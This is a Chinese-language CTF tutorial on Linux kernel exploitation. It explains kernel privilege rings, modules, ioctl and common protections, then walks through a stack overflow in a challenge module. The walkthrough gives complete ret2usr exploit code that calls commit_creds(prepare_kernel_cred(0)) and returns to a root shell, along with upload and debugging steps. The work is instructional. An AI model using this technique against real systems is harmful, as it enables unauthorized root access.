No.1
基础知识
1. kernel 介绍
kernel 是现代操作系统最基本的部分,主要功能有两点:
1. 控制I/O并与硬件进行交互
2. 提供 application 能运行的环境
包括 I/O,权限控制,系统调用,进程管理,内存管理等多项功能都可以归结到上边两点中。
intel CPU 将 CPU 的特权级别分为 4 个级别:Ring 0, Ring 1, Ring 2, Ring 3。
Ring0 只给 OS 使用,Ring 3 所有程序都可以使用,内层 Ring 可以随便使用外层 Ring 的资源。
大多数的现代操作系统只使用了 Ring 0 和 Ring 3。
2. Loadable Kernel Modules(LKMs)
可加载核心模块 (或直接称为内核模块) 就像运行在内核空间的可执行程序,包括:
驱动程序
设备驱动
文件系统驱动
...
内核扩展模块
LKMs 的文件格式和用户态的可执行程序相同,可以用IDA等反编译工具分析内核模块。
ioctl 是一个系统调用,用于与设备通信,与驱动程序进行交互
:
int ioctl(int fd, unsigned long request, ...) 的第一个参数为打开设备 (open) 返回的 文件描述符,第二个参数为用户程序对设备的控制命令,再后边的参数则是一些补充参数,与设备有关。
3. 常用命令:
lsmod
: 列出已经加载的模块
rmmod: 从内核中卸载指定模块
insmod: 讲指定模块加载到内核中
cat /proc/cpuinfo:查看所开保护
cat /proc/slabinfo: 查看内核堆块
grep prepare_kernel_cred /proc/kallsyms
:查看prepare_kernel_cred地址
grep commit_creds /proc/kallsyms
:查看commit_creds地址
4. 内核态函数:
copy_from_user() 实现了将用户空间的数据传送到内核空间
copy_to_user() 实现了将内核空间的数据传送到用户空间
kernel 中有两个可以方便的改变权限的函数:
int commit_creds(struct cred *new)
struct cred* prepare_kernel_cred(struct task_struct* daemon)
执行
commit_creds(prepare_kernel_cred(0))
即可
获得 root 权限
(root 的 uid,gid 均为 0)
5. 内核态和用户态切换
用户空间进入内核空间的过程:
通过 swapgs 切换 GS 段寄存器,将 GS 寄存器值和一个特定位置的值进行交换,目的是保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。
将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入 rsp/esp。
通过 push 保存各寄存器值
通过系统调用号,跳到全局变量 sys_call_table 相应位置继续执行系统调用。
内核空间返回用户空间:
通过 swapgs 恢复 GS 值
通过 sysretq 或者 iretq 恢复到用户控件继续执行。如果使用 iretq 还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等)
6. 常见保护:
KPT(Kernel PageTable lsolation, 内核页表隔离)
KASLR:内核地址空间布局随机化
SMAP/SMEP:SMAP(Supervisor Mode Access Prevention,管理模式访问保护)和SMEP(Supervisor Mode Execution Prevention, 管理模式执行保护)的作用分别是禁止内核访问用户空间的数据和禁止内核执行用户空间的代码。
No.2
Linux kernel pwn相关
一般来说,题目会给出一下四个文件:
baby.ko
: 一般为漏洞程序,可以用ida 打开
bzImage:打包的内核代码,可以用来寻找gadget
Initramfs.cpio: 文件系统映像
startvm.sh: 一个用于启动 kernel 的 shell 的脚本
startvm.sh:
#!/bin/bashstty intr ^]cd `dirname $0`timeout --foreground 600 qemu-system-x86_64 \-m 64M \-nographic \-kernel bzImage \-append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' \-monitor /dev/null \-initrd initramfs.cpio \-smp cores=1,threads=1 \-cpu qemu64 2>/dev/null-gdb tcp::1234
-m 64M:设置虚拟 RAM 为 64M,默认为 128M
-initrd initramfs.cpio,使用 rootfs.cpio 作为内核启动的文件系统
-kernel bzImage:使用 bzImage 作为 kernel 映像
No.3
题目解析:内核栈溢出
1. 使用ida分析程序:
baby.ko
查看信息:
没有开 PIE,无 canary 保护,没有去除符号表。
mira@ubuntu:~/test/kernel/$ checksec ./baby.ko[*] '/home/mira/test/kernel/level1/baby.ko'Arch: amd64-64-littleRELRO: No RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x0)
使用ida打开分析程序如下:
__int64 __usercall sub_0@(__int64 a1@, __int64 a2@, __int64 a3@){__int64 src; // rdx__int64 dst; // [rsp-88h] [rbp-88h]__int64 v6; // [rsp-8h] [rbp-8h]_fentry__(a3, a2);if ( (_DWORD)a2 != 0x6001 )return 0LL;v6 = a1;return (signed int)copy_from_user(&dst, src, 0x100LL);//栈溢出}
src 是用户态的地址, dst 是内核函数中栈上的地址。
程序从src中拷贝0x100 个字节到dst ,存在栈溢出,因此可以控制程序的返回地址。
2.根据栈溢出写exp:
#include #include #include #include #include #include #include #include //gcc exp.c -o exp --static#define KERNCALL __attribute__((regparm(3)))void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80;void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0;size_t user_cs, user_ss, user_rflags, user_sp;void save_status(){__asm__("mov %cs, user_cs;""mov %ss, user_ss;""mov %rsp, user_sp;""pushf;""pop user_rflags;");puts("[*]status has been saved.");}void get(){commit_creds(prepare_kernel_cred(0));//提权:root权限__asm__("swapgs;""pushq user_ss;""pushq user_sp;""pushq user_rflags;""pushq user_cs;""push $shell;""iretq;");}void shell(){puts("getshell!");system("/bin/sh");}int main(){save_status();long long buf[0x100];int i = 0;for (i=0; i < 0x100; i++){buf[i] = &get;}int fd = open("/dev/baby",0);getchar();ioctl(fd,0x6001,buf);return 0;}
编译生成exp程序:
mira@ubuntu:~/test/kernel/$ musl-gcc ./exp.c --static -o exp
3.将exp放入 initramfs.cpio 文件系统/home/pwn/目录下
方法一:
通过脚本 将 exp 程序传入:
# -*- coding: utf-8 -*-from pwn import *from sys import argvp = process("./startvm.sh",shell=True)def send_file(name,sym):file = read(name)f = b64e(file)size = 800print len(f)for i in range(len(f)/size + 1):log.info("Sending chunk {}/{}".format(i, len(f)/size))p.sendlineafter(sym,"echo -n '{}'>>/home/pwn/exp.gz.b64".format(f[i*size:(i+1)*size]))p.sendlineafter(sym,"cat /home/pwn/exp.gz.b64 | base64 -d > /home/pwn/exp.gz")p.sendlineafter(sym,"gzip -d /home/pwn/exp.gz")p.sendlineafter(sym,"chmod +x /home/pwn/exp")os.system("rm exp.gz")os.system("mv exp.bak exp")def exploit():# os.system("gcc ./exp.c -o exp --static")# os.system("strip ./exp")sym = "$"if len(argv) == 2:if(argv[1] == "root"):sym = "#"elif argv[1] == "user":sym = "$"else:print "user or root?"exit()os.system("cp ./exp ./exp.bak")os.system("gzip ./exp")# raw_input(">")send_file("exp.gz",sym)p.interactive()if __name__ == "__main__":exploit()
方法二
:解压 initramfs.cpio,复制exp,重新打包initramfs.cpio
#解压 initramfs.cpiomira@ubuntu:~/test/kernel$ mkdir coremira@ubuntu:~/test/kernel$ cp ./initramfs.cpio ./coremira@ubuntu:~/test/kernel$ cd coremira@ubuntu:~/test/kernel/core$ cpio -idmv < initramfs.cpio#复制exp:mira@ubuntu:~/test/kernel/core/$ cp ../exp ./core/home/pwn/# 重新打包initramfs.cpiomira@ubuntu:~/test/kernel/core$ find . | cpio -o --format=newc > initramfs.cpiomira@ubuntu:~/test/kernel/core$ cp ./initramfs.cpio ../mira@ubuntu:~/test/kernel/core$ cd ..
4.启动文件系统
mira@ubuntu:~/test/kernel$ ./startvm.sh
- 查看用户权限可知,当前用户非root权限:
-
执行 exp进行提权,查看权限:
可以看到 udi=0,gid=0,说明成功执行了
exp中commit_creds(prepare_kernel_cred(0))
提权代码。
5.调试内核
- 查看内核模块加载地址:
/home/pwn # lsmodbaby 16384 1 - Live 0xffffffffc0002000 (POE)
- 开启新终端,gdb远程连接
set architecture i386:x86-64
target remote 127.0.0.1:1234
- 根据模块加载基址以及栈溢出函数偏移计算断点位置:
addr = 0xffffffffc0002000 + 0x10 = 0xffffffffc0002010
- 下断点运行:
- 执行exp触发断点
- 执行next命令,单步执行:
commit_creds(prepare_kernel_cred(0));进行提权
- 通过
iretq
指令,进行跳转到shell函数执行,并获取shell
- 执行系统函数,获取shell
通过内核调试可知,验证了 exp成功调用提权函数进行提权,并获取了shell。
No.4
参考链接
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/basic_knowledge-zh/